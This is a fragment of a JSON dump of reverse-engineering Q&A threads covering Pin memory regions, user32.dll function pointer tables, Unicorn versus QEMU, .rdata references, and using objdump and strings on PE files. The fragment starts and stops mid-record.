===============================</p>\n\n<p><a href=\"https://i.stack.imgur.com/VGeAi.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/VGeAi.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "How to get the runtime memory region information when instrumenting using Pin?",
        "Tags": "|dynamic-analysis|pintool|",
        "Answer": "<p>As you're saying you're using ELF code, i assume you're running under Linux, or another unix-y system. And <code>proc/self/maps</code> (you don't have to <code>getpid()</code> and use <code>/proc/XXX/maps</code>, really) hints at Linux as well.</p>\n\n<p>One problem i see is the definition of <code>heap</code> - what about memory mapped regions, do they count as \"heap\" or not? Linux <code>malloc</code> uses <code>mmap</code> in some cases instead of expanding the heap, which is typically done by <code>brk</code> (which may itself be just a wrapper around <code>mmap</code>/<code>mremap</code> depending on your libc).</p>\n\n<p>If you want to trace everything that's in <code>malloc</code>ed memory, i'd just compare the address to the end of the code segment (but beware of dynamic libraries; or omit that comparison completely as code typically isn't read and can't be written anyway) and the current value of the stack pointer. If the address is below the stack pointer, assume heap.</p>\n\n<p>If you want to trace what's in the original, <code>brk</code>-managed heap only, read your memory map just once at the start, getting the heap start address, and monitor <code>brk</code> calls, adjusting the end address after each <code>brk</code>.</p>\n\n<p>On x64, \"below the stack pointer\" must be taken with a grain of salt. On 16- and 32-bit x86 processors, anything below the stack pointer can be clobbered by hardware interrupts at any time, so <code>sp</code>/<code>esp</code> are a barrier to what software can use. On 64 bit processors, however, <a href=\"http://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64/\" rel=\"nofollow\">the ABI guarantees that 128 bytes below the stack pointer aren't changed by interrupts</a>, so the compiler is free to use them (and will do so in leaf functions). Which means, you really need to compare your address to <code>esp-0x80</code> if you're dealing with x64 code.</p>\n"
    },
    {
        "Id": "12537",
        "CreationDate": "2016-04-27T01:28:18.723",
        "Body": "<p>In the disassembly of user32.dll, I see tables of function pointers like the one below in .text section. It doesn't look like vftable or switch/case table. Can you please give any insight about what this table is for?  </p>\n\n<pre><code>.text:6BA87530 off_6BA87530    dd offset sub_6BAD4C1E  \n.text:6BA87534 dword_6BA87534  dd 0                    \n.text:6BA87538                 dd offset sub_6BA890C6\n.text:6BA8753C                 align 10h\n.text:6BA87540                 dd offset sub_6BAD4B0A\n.text:6BA87544                 align 8\n.text:6BA87548                 dd offset sub_6BAD4730\n.text:6BA8754C                 align 10h\n.text:6BA87550                 dd offset sub_6BA890C6\n.text:6BA87554                 align 8\n.text:6BA87558                 dd offset sub_6BA890C6\n.text:6BA8755C                 align 10h\n.text:6BA87560                 dd offset sub_6BA890C6\n.text:6BA87564                 align 8\n.text:6BA87568                 dd offset sub_6BACCCB6\n.text:6BA8756C                 align 10h\n.text:6BA87570                 dd offset sub_6BAD5EE1\n.text:6BA87574                 align 8\n.text:6BA87578                 dd offset sub_6BAE82EE\n.text:6BA8757C                 align 10h\n.text:6BA87580                 dd offset sub_6BA9D3D5\n.text:6BA87584                 align 8\n.text:6BA87588                 dd offset sub_6BAE2428\n.text:6BA8758C                 align 10h\n.text:6BA87590                 dd offset sub_6BAE83F1\n.text:6BA87594                 align 8\n.text:6BA87598                 dd offset sub_6BAA9760\n.text:6BA8759C                 align 10h\n.text:6BA875A0                 dd offset sub_6BA9F560\n.text:6BA875A4                 align 8\n.text:6BA875A8                 dd offset loc_6BA8DA5B\n.text:6BA875AC                 align 10h\n.text:6BA875B0                 dd offset sub_6BA890C6\n.text:6BA875B4                 align 8\n.text:6BA875B8                 dd offset sub_6BA87CA1\n.text:6BA875BC                 align 10h\n.text:6BA875C0                 dd offset sub_6BAD41C5\n.text:6BA875C4                 align 8\n.text:6BA875C8                 dd offset sub_6BA893E9\n.text:6BA875CC                 align 10h\n.text:6BA875D0                 dd offset sub_6BA9B419\n.text:6BA875D4                 align 8\n.text:6BA875D8                 dd offset sub_6BA87B11\n.text:6BA875DC                 align 10h\n.text:6BA875E0                 dd offset sub_6BAEFB8A\n.text:6BA875E4                 align 8\n.text:6BA875E8 off_6BA875E8    dd offset sub_6BAD4BFD  \n</code></pre>\n\n<p>The start and end addresses (<code>off_6BA87530, off_6BA875E8</code>) are referenced by code snippets like</p>\n\n<pre><code>.text:6BA8FFE8                 push    eax\n.text:6BA8FFE9                 push    offset off_6BA87530\n.text:6BA8FFEE                 push    eax\n.text:6BA8FFEF                 push    offset off_6BA875E8\n.text:6BA8FFF4                 call    ds:RtlInitializeNtUserPfn\n</code></pre>\n\n<p>or </p>\n\n<pre><code>.text:6BA9D84F                 mov     esi, ds:off_6BA87530[eax*8]\n.text:6BA9D856                 mov     [ebp+var_40], esi\n.text:6BA9D859                 mov     eax, ds:dword_6BA87534[eax*8]\n.text:6BA9D860                 mov     [ebp+var_3C], eax\n.text:6BA9D863                 jmp     loc_6BA87A7C \n</code></pre>\n\n<p>Thanks.</p>\n\n<p><strong>UPDATE</strong>\nAdding the code snippets of functions referred to by first two addresses:  <code>sub_6BAD4C1E, sub_6BA890C6</code></p>\n\n<p><a href=\"https://i.stack.imgur.com/7zU2d.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7zU2d.png\" alt=\"enter image description here\"></a> </p>\n\n<p><a href=\"https://i.stack.imgur.com/BF73S.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BF73S.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Table of Function Pointers in .text section",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>RtlInitializeUserPfn  <code>rep movsds</code> <strong>(memcpy())</strong> those address to ntdll!_NtUserPfn  (most of the addresses are Windowsproc buttonproc callbacks </p>\n\n<p>what windows version are you on iirc these functions weren't implemented until win 8 \nsee below </p>\n\n<p><strong>0:000> u ntdll!NtdllDispatchDefWindowProc_W l1</strong></p>\n\n<pre><code>ntdll!NtdllDispatchDefWindowProc_W:\n77e039f4 ff25ac80e377    jmp     dword ptr [ntdll!NtUserPfn+0xac (77e380ac)]\n</code></pre>\n\n<p><strong>0:000> ln poi(77e380ac)</strong>\n    ntdll!UninitUser32Proc ()</p>\n\n<p><strong>0:000> uf ntdll!UninitUser32Proc</strong></p>\n\n<pre><code>ntdll!UninitUser32Proc:\n77e03aa4 6896a0da77      push    offset ntdll! ?? ::FNODOBFM::`string' (77daa096)\n77e03aa9 6a00            push    0\n77e03aab 6a00            push    0\n77e03aad e884dff7ff      call    ntdll!DbgPrintEx (77d81a36)\n77e03ab2 83c40c          add     esp,0Ch\n77e03ab5 cc              int     3\n77e03ab6 680d0000c0      push    0C000000Dh\n77e03abb 6aff            push    0FFFFFFFFh\n77e03abd e8062efaff      call    ntdll!NtTerminateProcess (77da68c8)\n77e03ac2 33c0            xor     eax,eax\n77e03ac4 c3              ret\n</code></pre>\n\n<p><strong>0:000> da 77daa096</strong></p>\n\n<pre><code>77daa096  \"User32 init not called\"\n</code></pre>\n\n<p>windows 7 user32!DllInit routine fills the array itself </p>\n\n<pre><code>user32!InitializeNtdllUserPfn:\n77d2d787 b86606d277      mov     eax,offset user32!ImeWndProcW (77d20666)\n77d2d78c a36096d777      mov     dword ptr [user32!gDefaultClasses+0x100 (77d79660)],eax\n77d2d791 a30091d777      mov     dword ptr [user32!g_pfnImeWndProcW (77d79100)],eax\n77d2d796 b9063fd677      mov     ecx,offset user32!EditWndProcW (77d63f06)\n77d2d79b 33c0            xor     eax,eax\n77d2d79d c7056495d7770449d377 mov dword ptr [user32!gDefaultClasses+0x4 (77d79564)],offset user32!ButtonWndProcW (77d34904)\n77d2d7a7 c7058895d7779de0d577 mov dword ptr [user32!gDefaultClasses+0x28 (77d79588)],offset user32!ComboBoxWndProcW (77d5e09d)\n77d2d7b1 c705ac95d777ae0dd477 mov dword ptr [user32!gDefaultClasses+0x4c (77d795ac)],offset user32!ListBoxWndProcW (77d40dae)\n77d2d7bb c705d095d777c15bd477 mov dword ptr [user32!gDefaultClasses+0x70 (77d795d0)],offset user32!DefDlgProcW (77d45bc1)\n77d2d7c5 890df495d777    mov     dword ptr [user32!gDefaultClasses+0x94 (77d795f4)],ecx\n77d2d7cb c7051896d777ae0dd477 mov dword ptr [user32!gDefaultClasses+0xb8 (77d79618)],offset user32!ListBoxWndProcW (77d40dae)\n77d2d7d5 c7053c96d777df14d477 mov dword ptr [user32!gDefaultClasses+0xdc (77d7963c)],offset user32!MDIClientWndProcW (77d414df)\n77d2d7df c7058496d7778b3ad377 mov dword ptr [user32!gDefaultClasses+0x124 (77d79684)],offset user32!StaticWndProcW (77d33a8b)\n77d2d7e9 c7055c97d7777d50d277 mov dword ptr [user32!gDefaultClasses+0x1fc (77d7975c)],offset user32!DefWindowProcW (77d2507d)\n77d2d7f3 c7053891d777f8b5d377 mov dword ptr [user32!g_pfnEditWndProcA (77d79138)],offset user32!EditWndProcA (77d3b5f8)\n77d2d7fd 890d2091d777    mov     dword ptr [user32!g_pfnEditWndProcW (77d79120)],ecx\n77d2d803 40              inc     eax\n77d2d804 c3              ret\n</code></pre>\n\n<p>while some other user32.dll > win7 calls a forwarded import in ntdll </p>\n\n<pre><code>user32!InitializeNtdllUserPfn:\n00000001`80022e98 4c8bdc          mov     r11,rsp\n00000001`80022e9b 4883ec38        sub     rsp,38h\n00000001`80022e9f 4983631000      and     qword ptr [r11+10h],0\n00000001`80022ea4 4983630800      and     qword ptr [r11+8],0\n00000001`80022ea9 4983631800      and     qword ptr [r11+18h],0\n00000001`80022eae 488d05eba50000  lea     rax,[user32!pfnClientWorker (00000001`8002d4a0)]\n00000001`80022eb5 bab8000000      mov     edx,0B8h\n00000001`80022eba 49c743f058000000 mov     qword ptr [r11-10h],58h\n00000001`80022ec2 4c8d0537a60000  lea     r8,[user32!pfnClientW (00000001`8002d500)]\n00000001`80022ec9 488d0df0a60000  lea     rcx,[user32!pfnClientA (00000001`8002d5c0)]\n00000001`80022ed0 448bca          mov     r9d,edx\n00000001`80022ed3 498943e8        mov     qword ptr [r11-18h],rax\n00000001`80022ed7 ff155b520800    call    qword ptr [user32!_imp_RtlInitializeNtUserPfn (00000001`800a8138)]\n</code></pre>\n\n<p>with windbg you can retrieve all the wndprocs that are memcpied thus using some script like below </p>\n\n<pre><code>.for(r $t0=0 ; @$t0 &lt; (60+c0+c0) ; r $t0 = @$t0+8) { .printf \"%y %y\\n\" , user32!pfnClientWorker+@$t0 , poi(user32!pfnClientWorker +@$t0) }\n</code></pre>\n\n<p>which would get you result like this (read with the disassembly posted above of a random(winblue) user32.dll that implements the forwarded import </p>\n\n<pre><code>user32!pfnClientWorker (00000001`8002d4a0) user32!ButtonWndProcWorker (00000001`8001c760)\nuser32!pfnClientWorker+0x8 (00000001`8002d4a8) user32!ComboBoxWndProcWorker (00000001`80060c38)\nuser32!pfnClientWorker+0x10 (00000001`8002d4b0) user32!ListBoxWndProcWorker (00000001`80077fa0)\nuser32!pfnClientWorker+0x18 (00000001`8002d4b8) user32!DefDlgProcWorker (00000001`8001ebf0)\nuser32!pfnClientWorker+0x20 (00000001`8002d4c0) user32!EditWndProcWorker (00000001`80031354)\nuser32!pfnClientWorker+0x28 (00000001`8002d4c8) user32!ListBoxWndProcWorker (00000001`80077fa0)\nuser32!pfnClientWorker+0x30 (00000001`8002d4d0) user32!MDIClientWndProcWorker (00000001`80036400)\nuser32!pfnClientWorker+0x38 (00000001`8002d4d8) user32!StaticWndProcWorker (00000001`8001f0a0)\nuser32!pfnClientWorker+0x40 (00000001`8002d4e0) user32!ImeWndProcWorker (00000001`80008e14)\nuser32!pfnClientWorker+0x48 (00000001`8002d4e8) user32!DefWindowProcWorker (00000001`80008ef0)\nuser32!pfnClientWorker+0x50 (00000001`8002d4f0) user32!CtfHookProcWorker (00000001`80005d44)\nuser32!pfnClientWorker+0x58 (00000001`8002d4f8) 90909090`90909090\nuser32!pfnClientW (00000001`8002d500) user32!ScrollBarWndProcW (00000001`8005f6cc)\nuser32!pfnClientW+0x8 (00000001`8002d508) user32!DefWindowProcW (00000001`80002d60)\nuser32!pfnClientW+0x10 (00000001`8002d510) user32!MenuWndProcW (00000001`8005f574)\nuser32!pfnClientW+0x18 (00000001`8002d518) user32!DesktopWndProcW (00000001`8005f138)\nuser32!pfnClientW+0x20 (00000001`8002d520) user32!DefWindowProcW (00000001`80002d60)\nuser32!pfnClientW+0x28 (00000001`8002d528) user32!DefWindowProcW (00000001`80002d60)\nuser32!pfnClientW+0x30 (00000001`8002d530) user32!DefWindowProcW (00000001`80002d60)\nuser32!pfnClientW+0x38 (00000001`8002d538) user32!ButtonWndProcW (00000001`8001c6cc)\nuser32!pfnClientW+0x40 (00000001`8002d540) user32!ComboBoxWndProcW (00000001`80060ad8)\nuser32!pfnClientW+0x48 (00000001`8002d548) user32!ComboListBoxWndProcW (00000001`80077ed4)\nuser32!pfnClientW+0x50 (00000001`8002d550) user32!DefDlgProcW (00000001`8001eb7c)\nuser32!pfnClientW+0x58 (00000001`8002d558) user32!EditWndProcW (00000001`800312c4)\nuser32!pfnClientW+0x60 (00000001`8002d560) user32!ComboListBoxWndProcW (00000001`80077ed4)\nuser32!pfnClientW+0x68 (00000001`8002d568) user32!MDIClientWndProcW (00000001`8003634c)\nuser32!pfnClientW+0x70 (00000001`8002d570) user32!StaticWndProcW (00000001`8001f050)\nuser32!pfnClientW+0x78 (00000001`8002d578) user32!ImeWndProcW (00000001`80008da0)\nuser32!pfnClientW+0x80 (00000001`8002d580) user32!DefWindowProcW (00000001`80002d60)\nuser32!pfnClientW+0x88 (00000001`8002d588) user32!fnHkINLPCWPSTRUCTW (00000001`80003da0)\nuser32!pfnClientW+0x90 (00000001`8002d590) user32!fnHkINLPCWPRETSTRUCTW (00000001`80012c40)\nuser32!pfnClientW+0x98 (00000001`8002d598) user32!DispatchHookW (00000001`80003d20)\nuser32!pfnClientW+0xa0 (00000001`8002d5a0) user32!DispatchDefWindowProcW (00000001`8000ed34)\nuser32!pfnClientW+0xa8 (00000001`8002d5a8) user32!DispatchClientMessage (00000001`800038f0)\nuser32!pfnClientW+0xb0 (00000001`8002d5b0) user32!MDIActivateDlgProcA (00000001`80080100)\nuser32!pfnClientW+0xb8 (00000001`8002d5b8) 90909090`90909090\nuser32!pfnClientA (00000001`8002d5c0) user32!ScrollBarWndProcA (00000001`8005f6b0)\nuser32!pfnClientA+0x8 (00000001`8002d5c8) user32!DefWindowProcA (00000001`8000ad38)\nuser32!pfnClientA+0x10 (00000001`8002d5d0) user32!MenuWndProcA (00000001`8005f558)\nuser32!pfnClientA+0x18 (00000001`8002d5d8) user32!DesktopWndProcA (00000001`8005f11c)\nuser32!pfnClientA+0x20 (00000001`8002d5e0) user32!DefWindowProcA (00000001`8000ad38)\nuser32!pfnClientA+0x28 (00000001`8002d5e8) user32!DefWindowProcA (00000001`8000ad38)\nuser32!pfnClientA+0x30 (00000001`8002d5f0) user32!DefWindowProcA (00000001`8000ad38)\nuser32!pfnClientA+0x38 (00000001`8002d5f8) user32!ButtonWndProcA (00000001`8005c620)\nuser32!pfnClientA+0x40 (00000001`8002d600) user32!ComboBoxWndProcA (00000001`80060970)\nuser32!pfnClientA+0x48 (00000001`8002d608) user32!ComboListBoxWndProcA (00000001`80077e40)\nuser32!pfnClientA+0x50 (00000001`8002d610) user32!DefDlgProcA (00000001`8006a3d8)\nuser32!pfnClientA+0x58 (00000001`8002d618) user32!EditWndProcA (00000001`8006ec64)\nuser32!pfnClientA+0x60 (00000001`8002d620) user32!ComboListBoxWndProcA (00000001`80077e40)\nuser32!pfnClientA+0x68 (00000001`8002d628) user32!MDIClientWndProcA (00000001`80081450)\nuser32!pfnClientA+0x70 (00000001`8002d630) user32!StaticWndProcA (00000001`80086268)\nuser32!pfnClientA+0x78 (00000001`8002d638) user32!ImeWndProcA (00000001`8008dad0)\nuser32!pfnClientA+0x80 (00000001`8002d640) user32!DefWindowProcA (00000001`8000ad38)\nuser32!pfnClientA+0x88 (00000001`8002d648) user32!fnHkINLPCWPSTRUCTA (00000001`8008c850)\nuser32!pfnClientA+0x90 (00000001`8002d650) user32!fnHkINLPCWPRETSTRUCTA (00000001`8008c790)\nuser32!pfnClientA+0x98 (00000001`8002d658) user32!DispatchHookA (00000001`8008bea0)\nuser32!pfnClientA+0xa0 (00000001`8002d660) user32!DispatchDefWindowProcA (00000001`8008be84)\nuser32!pfnClientA+0xa8 (00000001`8002d668) user32!DispatchClientMessage (00000001`800038f0)\nuser32!pfnClientA+0xb0 (00000001`8002d670) user32!MDIActivateDlgProcA (00000001`80080100)\nuser32!`string' (00000001`8002d678) 4c4e4e49`576d6d49\n</code></pre>\n"
    },
    {
        "Id": "12540",
        "CreationDate": "2016-04-27T11:13:20.223",
        "Body": "<p>The Unicorn <a href=\"http://www.unicorn-engine.org/docs/beyond_qemu.html\" rel=\"noreferrer\">website</a> lists some differences between Unicorn and QEMU, especially those differences &quot;where Unicorn shines&quot;.</p>\n<p>They furthermore write:</p>\n<blockquote>\n<p>A notable difference between Unicorn and QEMU is that we only focus on emulating CPU operations, but do not handle other parts of computer machine like QEMU.</p>\n<p>[...] we stripped all the subsystems that do not involve in CPU emulation.</p>\n</blockquote>\n<p>I am trying to understand what this actually means, i.e. when to choose QEMU and when Unicorn. Especially, what are concrete example use cases (in the area of reverse engineering) in which Unicorn*) cannot be used, but QEMU can ?</p>\n<p>*) or any tools based on Unicorn such as <a href=\"https://github.com/lunixbochs/usercorn\" rel=\"noreferrer\">usercorn</a></p>\n",
        "Title": "Unicorn and QEMU: Example use cases to understand the differences",
        "Tags": "|dynamic-analysis|qemu|emulation|",
        "Answer": "<h2>What does \"<em>(not) emulating hardware other than the CPU</em>\" mean?</h2>\n\n<p>This means that whenever the software being emulated accesses hardware, it won't work in Unicorn in the same way as on actual hardware.</p>\n\n<p>We have several questions about emulating firmware on QEMU. The general answer is that, when you try booting a firmware kernel in QEMU, that kernel will access some I/O ports, but in the emulated environment, those I/O ports won't react in the way they should. For example, an input bit that signals \"device ready\" will be stuck in one state, instead of toggling between true and false.</p>\n\n<p>To make your software work as intended, you need to emulate this hardware as well - for example, your emulator needs to know something like: </p>\n\n<blockquote>\n  <p>Bit 3 of the input port at <code>0x124</code> is the \"<em>ready</em>\" bit, when it's set to <code>1</code>, there's one byte of serial input waiting at port <code>0x125</code>. Reading port <code>0x125</code> will reset the ready bit to <code>0</code>, and it will stay in state <code>0</code> until the next byte arrives on the serial line.</p>\n</blockquote>\n\n<p>And if you want to emulate how a software reacts on some particular input on the serial interface, you'll have to build on that specification and make the emulator provide your input at these I/O ports.</p>\n\n<p>But of course, you need information about the hardware first, so this isn't very useful to reverse engineering. It may be useful to the hardware designer though to find some bugs that are difficult to reproduce or monitor on actual hardware.</p>\n\n<p>As a specific example, consider the <a href=\"https://en.wikipedia.org/wiki/A20_line\" rel=\"nofollow noreferrer\">A20 gate</a> on 16/32 bit PCs. Indeed, the same instructions:</p>\n\n<pre><code>mov ax,0ffffh\nmov es,ax\nmov ax,es:[01234h]\n</code></pre>\n\n<p>May access different memory depending on some bits you wrote to the keyboard controller. You can't get this right in an emulator unless you emulate hardware as well.</p>\n\n<h2>When is QEMU more useful?</h2>\n\n<p>Mostly for not RE-related tasks.</p>\n\n<p>If you want to emulate an old MS DOS program, you'd need QEMU, just because those programs did so much hardware manipulation themselves as the OS lacked the APIs. (Of course, in this case <a href=\"https://www.dosbox.com/\" rel=\"nofollow noreferrer\">DOSBox</a> would probably be more suited than QEMU).</p>\n\n<p>Or, if you want to make an emulator for a Gameboy, C64, or just any other kind of vintage hardware, you need to simulate the hardware as well, so you'd need these QEMU features.</p>\n\n<h2>When is Unicorn more useful?</h2>\n\n<p>For RE tasks, you typically don't need hardware emulation, because you don't have access to hardware design documents anyway. So, an emulator that omits these parts of QEMU, and improves other parts, is probably more suited to RE than QEMU is. Especially the \"<em>does not need an environment</em>\" part can make stuff easier. </p>\n\n<p>As a concrete example, take one of those \"<em>do my homework for me</em>\" questions - <a href=\"https://reverseengineering.stackexchange.com/questions/12534/translate-the-assembly-code-to-c-code\">this</a>, and <a href=\"https://reverseengineering.stackexchange.com/questions/12530/how-to-convert-assembly-to-c-code\">this</a>. When you have an assumption what a function does, you may want to run it to check if some specific input produces the output you assume. With QEMU, you need to compile this to an ELF file, and set up an operating system to run your program; with Unicorn, it seems like you can run the snippet directly (of course you still have to assemble it, and need to initialize registers in a sensible way, but you don't need all the rest of the bloat).</p>\n\n<p>Or, another example, you have a program that deals with DRM protected data, and includes some functions to decrypt the DRM. If that program runs on ARM Android or I/OS, and you want to have your PC do the decryption, you can try loading the program into memory and tell your emulator \"<em>start emulating at address <code>0x12345678</code></em>\". It seems to be much easier to do this if you don't have to provide all the environment, and dependencies, that QEMU requires.</p>\n"
    },
    {
        "Id": "12546",
        "CreationDate": "2016-04-27T19:04:16.600",
        "Body": "<p>While reverse engineering an executable, I came across specific strings of interest which where in the .rdata section: </p>\n\n<p><a href=\"https://i.stack.imgur.com/6PABy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6PABy.png\" alt=\"enter image description here\"></a> </p>\n\n<p>How are these constant strings used by the underlying assembly code? Are offsets to the relevant strings dynamically calculated during run time (because of ASLR) and used?  </p>\n",
        "Title": "How is .rdata used within the executable",
        "Tags": "|ida|executable|",
        "Answer": "<p>The standard scheme for 32-bit x86 under Windows is that the compiler/linker inserts virtual addresses right into the code, which are calculated based on the preferred load address of the executable (usually 0x400000 for EXEn, and something like 0x10000000 for DLLs). </p>\n\n<p>If the executable can be loaded at its preferred address then everything can remain as is and the relocation tables do not get used; otherwise relocations are applied to all address values embedded in code and data (e.g. when there are address conflicts and under ASLR).</p>\n\n<p>However, when you are analysing an executable with a disassembler like IDA then the binary will usually get loaded at its preferred address, so that you can jump directly to (or through) the offsets contained in tables, and you can also search for the raw address bytes to find references that IDA might have missed. </p>\n\n<p>IDA also allows specifying a different load address, so that you can match an ASLR-based rip without further ado. For hacking an ASLR-loaded image you'd need to do the rebasing (relocation) yourself, after finding the actual load address.</p>\n\n<p>Of course, capable compilers like MS VC++ and Watcom allow all kinds of different addressing schemes to be used from high-level languages, like relative (based) offset addressing and so on. So the above is only a rough guideline.</p>\n\n<p>Table-based references pose an additional difficulty during analysis: IDA will usually be able to find a string's reference in the data (i.e. the table itself) but often it is not easy to find the code that references <em>the table</em>. Most of the individual table entries seem to hang un-referenced in the air. Often you can use the regular structure of such tables to scry their beginning, and usually you can find that the first entry is referenced from somewhere in the code. </p>\n\n<p>The address embedded in a table entry need not be the first item in an entry, though, so that the reference to the base of the table may be slightly off compared to the embedded address you're looking at. With optimising compilers it can get even trickier - the address embedded in the code might refer to the first address after the table, or in the middle of some record, or even several miles outside of the table.</p>\n\n<p>In any case IDA should be able to help you once you have determined the extent of the table and declared it as an array (usually by formatting the first entry as a record and then setting the record count). Once you have done that, IDA knows that all references to addresses covered by the table actually belong to that table in some way or other, and usually you can already see a nice xref link for you to click. If not then you can call up the cross references manually.</p>\n\n<p>Note: the setting under </p>\n\n<blockquote>\n  <p>Options | General... [Cross-references] Cross-reference depth</p>\n</blockquote>\n\n<p>influences IDA's ability to spot xrefs that go somewhere inside data items instead of pointing at their beginning. Sometimes I increase the value to 1000, when I'm working with big structures...</p>\n"
    },
    {
        "Id": "12548",
        "CreationDate": "2016-04-27T21:12:44.653",
        "Body": "<p>I would like to dump the .text section on MS Windows .exe PE files in Ubuntu 14.04.4.</p>\n\n<p>I install pedump, on my Ubuntu system using</p>\n\n<pre><code>sudo apt-get install mono-utils\n</code></pre>\n\n<p>When I tried running</p>\n\n<pre><code>pedump code /full/path/prefix.exe\n</code></pre>\n\n<p>I got the message</p>\n\n<pre><code>Cannot open image  /full/path/prefix.exe\n</code></pre>\n\n<p>When I tried</p>\n\n<pre><code>pedump --verify error /full/path/prefix.exe\n</code></pre>\n\n<p>I got </p>\n\n<pre><code>Error: Invalid PE header machine value.\n</code></pre>\n\n<p>With another file, I got the following</p>\n\n<pre><code>pedump code /full/path/prefix2.exe\nCannot open image  /full/path/prefix2.exe\npedump --verify error /full/path/prefix2.exe\nError: Invalid section alignment 1000\n</code></pre>\n\n<p>Would these problems be due to trying to read MS Windows files on a Ubuntu system?  Is there a better tool I could use to dump the .text section of MS Windows PE files on a Ubuntu system?</p>\n",
        "Title": "Error: Invalid PE header machine value with pedump",
        "Tags": "|linux|pe|",
        "Answer": "<p><code>pedump</code> from Mono utils is a software that does <em>only</em> work with .net assemblies. You can't use it to dump standard executables:</p>\n\n<pre><code>$ pedump /software/Windows/PortableInstalled/NavPaneCustomizer/Windows\\ 7\\ Navigation\\ Pane\\ Customizer.exe |head\n\nCOFF Header:\n                    Machine: 0x014c\n                   Sections: 0x0003\n                 Time stamp: 0x4d63c52b\n    Pointer to Symbol Table: 0x00000000\n           Symbol Count: 0x00000000\n       Optional Header Size: 0x00e0\n        Characteristics: 0x0102\n   ....\n</code></pre>\n\n<p>but</p>\n\n<pre><code>$ pedump /software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe \nCannot open image /software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe\n$ ls -l /software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe \n-rw-r--r-- 1 gbl users 1565696 Mai  9  2013 /software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe\n</code></pre>\n\n<p>(the ls output shows you it's not an access rights problem)</p>\n\n<p>There is a different software at <a href=\"https://github.com/zed-0xff/pedump\" rel=\"nofollow\">https://github.com/zed-0xff/pedump</a> that's named <code>pedump</code> as well, but these two have nothing to do with each other. You can proably use the online version at <a href=\"http://pedump.me/\" rel=\"nofollow\">http://pedump.me/</a> if this is a once-only project, and you don't want to go through the hassle of getting a ruby environment working on your system.</p>\n\n<p>If you want to use a local program, <code>objdump</code> works fine even for Windows PE executables:</p>\n\n<pre><code>$ objdump -d /software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe \n\n/software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe:     Dateiformat pei-i386\n\n\nDisassembly of section UPX0:\n\n00401000 &lt;UPX0&gt;:\n  401000:   10 1a                   adc    %bl,(%edx)\n  401002:   71 53                   jno    0x401057\n  401004:   80 67 17 4b             andb   $0x4b,0x17(%edi)\n  401008:   00 3c 3b                add    %bh,(%ebx,%edi,1)\n  40100b:   16                      push   %ss\n  40100c:   00 00                   add    %al,(%eax)\n  40100e:   ec                      in     (%dx),%al\n  40100f:   47                      inc    %edi\n  ....\n</code></pre>\n\n<p>(wxHexEditor is probably a bad example, as it's UPX-packed, but i have very few windows programs available on my Linux box right now)</p>\n"
    },
    {
        "Id": "12550",
        "CreationDate": "2016-04-28T09:47:21.417",
        "Body": "<p>Is there any windows API (application program interface) to execute thread on atomic mode?</p>\n",
        "Title": "Is there any windows API to execute thread on atomic mode?",
        "Tags": "|c++|c|driver|",
        "Answer": "<p>The <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms684122(v=vs.85).aspx\" rel=\"nofollow\">Interlocked API</a> may be what you are looking for. Or more generally, <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms681924(v=vs.85).aspx\" rel=\"nofollow\">here is the MSDN topic on synchronization</a>.</p>\n"
    },
    {
        "Id": "12552",
        "CreationDate": "2016-04-28T18:18:55.500",
        "Body": "<p>I am hoping to get the contents of the .text section, of a Microsoft PE file using a linux command.  When I use</p>\n\n<pre><code>objdump -sj .text filename.exe\n</code></pre>\n\n<p>the output consists of the offset, in hexadecimal format, on the far left, followed by the content, in hexadecimal format, in the middle and a mixture of dots and ASCII characters on the right.  I don't know if the dots represent unprintable characters.</p>\n\n<p>Is there a way to adjust the format of the output?  Ideally, I am hoping to get the printable strings without the hexadecimal numbers.  I have looked through the objdump man page but could not see a way to do this.</p>\n",
        "Title": "Formatting output of objdump -sj .text filename.exe",
        "Tags": "|linux|pe|",
        "Answer": "<p>Igor's answer is correct, but a bit short.</p>\n\n<p>First, get the size and file offset of the .text segment using objdump -h:</p>\n\n<pre><code>$ objdump -h /path/to/Windows/System32/calc.exe\n....\nIdx Name          Size      VMA               LMA               File off  Algn\n  0 .text         00060cc9  0000000100001000  0000000100001000  00000600  2**4\n                  CONTENTS, ALLOC, LOAD, READONLY, CODE\n  1 .rdata        00010ec4  0000000100062000  0000000100062000  00061400  2**4\n                  CONTENTS, ALLOC, LOAD, READONLY, DATA\n</code></pre>\n\n<p>Now you know the text section starts at <code>0x600</code> and ends at <code>0x61400</code>.</p>\n\n<p>Then, use <code>strings</code> and have it print the file offsets:</p>\n\n<pre><code>$ strings -a -t x -e l  /path/to/Windows/System32/calc.exe\n  620e0 Edit\n  62128 Button\n  62138 SysDateTimePick32\n  62160 ComboBox\n  ...\n</code></pre>\n\n<p>In this particular file, as you see, there are no strings in the text segment; the first string (Edit) is already in the .rdata section. With most versions of <code>strings</code>, you don't need the <code>-a</code>, and you can select the character encoding with <code>-e</code>, 16 bit little endian in this case. See the manual page for other encodings.</p>\n\n<p>You can use some of the Linux text utilities to further postprocess the output, but as @JasonGeffner said, superuser.com is a better place to ask about them.</p>\n"
    },
    {
        "Id": "12556",
        "CreationDate": "2016-04-29T10:05:39.283",
        "Body": "<p>I know you can unpack APKs with apktool and the likes, however we're doing an exercise at uni where we're supposed to get some info like permissions declared and permissions used from some APKs without using tools. Not really sure where to start. I'm guessing I'll need to unzip and apply some public-private signing. </p>\n",
        "Title": "Analyzing an APK without tools",
        "Tags": "|android|apk|",
